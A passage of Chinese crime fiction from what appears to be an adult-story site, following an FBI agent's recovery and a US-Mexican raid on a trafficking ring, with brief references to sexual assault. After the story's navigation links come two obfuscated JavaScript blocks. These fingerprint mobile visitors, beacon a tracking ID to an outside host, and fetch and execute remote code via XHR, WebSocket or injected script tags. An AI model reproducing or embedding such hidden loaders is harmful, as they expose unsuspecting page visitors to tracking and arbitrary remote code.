史达琳沈吟一下,说:“没关系,抓大鱼、救出那些姑娘们更重要。”

房门突然被推开了,摔脱看门的警官,一个姑娘抽泣着扑向史达琳,那是娜拉。少女抓着史达琳的手,一下瘫软在轮椅旁,放声大哭起来。

************

六月二十三日,星期二,东部时间,14:15,纽约肯尼迪国际机场

川特顺利登机。乘客不少,整个机舱没有几个空位子。川特前后左右都是兴奋异常的游客,一个个都穿得花花绿绿,仿佛这里已经是人间天堂。川特轻轻吸了口气,把头埋进了报纸。

终于,飞机准时起飞。

************

六月二十三日,星期二,中部时间,15:30,新奥尔良

克劳福德赶到医院。他告诉史达琳,奎因拿到了所有关于那个墨西哥人肉黑市的信息,他和FBI总部紧张地制定了行动计划。FBI局长说服由副国务卿出面,让墨西哥方面开了一路绿灯。一支墨西哥特种部队将担任突袭的主力,行动定在30个小时后。不过,购买地下小电影的那个美国人失踪了,新奥尔良警方正在全力缉捕。

三小时前打了针镇定剂,娜拉早已平静下来。她推着史达琳的轮椅来到解剖房,基尼的尸体暂时停放在那里。史达琳的脸上没有任何表情,就像一块石头,连克劳福德也大吃了一惊。史达琳非常平静,一点没有在过去的16个小时里连遭淫辱的痕迹。

史达琳的声音毫无表情,说她虽然很想参加明天在墨西哥的行动,但她的脚断掉了。“我只想先回基尼那儿,”她甚至淡淡笑了笑:“洗一个澡,然后回来再陪陪他。”

************

六月二十三日,星期二,墨西哥时间,17:45,墨西哥

罗德里格斯有些烦躁不安。马里奥兄弟应该两个小时前就回到墨西哥境内,即使路上有了耽搁,也会先打个电话回来说一声。这样一点儿动静也没有的事情从来没有发生过,也许不该淌买卖FBI女特工这趟浑水?

他刚给那个哥伦比亚大毒枭的代理人打了电话,说最近风声太紧,那两个美国小妞的运送日期能不能后推一个星期。对方当然十分不满,咆哮着下不为例。挂下电话,罗德里格斯擦了擦脑门的冷汗。

他决定等到晚上,如果还没有马里奥兄弟的消息,他就得打几个电话。在墨西哥城和本地,他都有一些警员朋友,他可不想一无所知的就被别人抄了老窝。

************

六月二十三日,星期二,东部时间,19:35,凯曼群岛

经过非常简单的入境手续,川特长长地吐了口气走出海关。大海就在面前,大街上人来人往,喧闹嘈杂,不过,吸引川特目光的,并不是周围一群群漂亮的比基尼女郎,而是穿过棕榈树的夕阳。他从来没有留意过,海滨的落日居然如此灿烂,如此美丽。

微笑着戴上了墨镜,川特拖着自己的行李箱,缓缓走进热带的夕阳之中。

************

六月二十四日,星期三,墨西哥时间,23:00,墨西哥

墨西哥和FBI的联合袭击开始了,四百特种部队和七十名FBI特工同时突袭了罗德里格斯的四家地下妓院,奎因担任美方的现场指挥,整个行动非常成功。在被解救的近20名美国少女中,奎因发现了蓓丝,告诉她史达琳是救她回来最大的功臣。只穿了条轻薄睡袍的蓓丝,披着一条特警给她的浴巾,趴在奎因的肩头泣不成声。

终于,她对奎因挣扎着呜咽了一句:“我终于活下来了……”

然而,罗德里格斯和几个骨干却漏网了。其实,两天都没有马里奥兄弟的消息,罗德里格斯就断定一定出了什么毛病,早早做好了出逃的准备。傍晚时分,他接到一个来自墨西哥警方高层的电话,放下电话,用十分钟时间砸烂客厅里所有可以砸烂的家俱后,墨西哥佬带着几个贴身保镖,悄悄离开了海湾的豪宅。


上一篇:大龟头佚事

下一篇:性感的熟女邻居


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};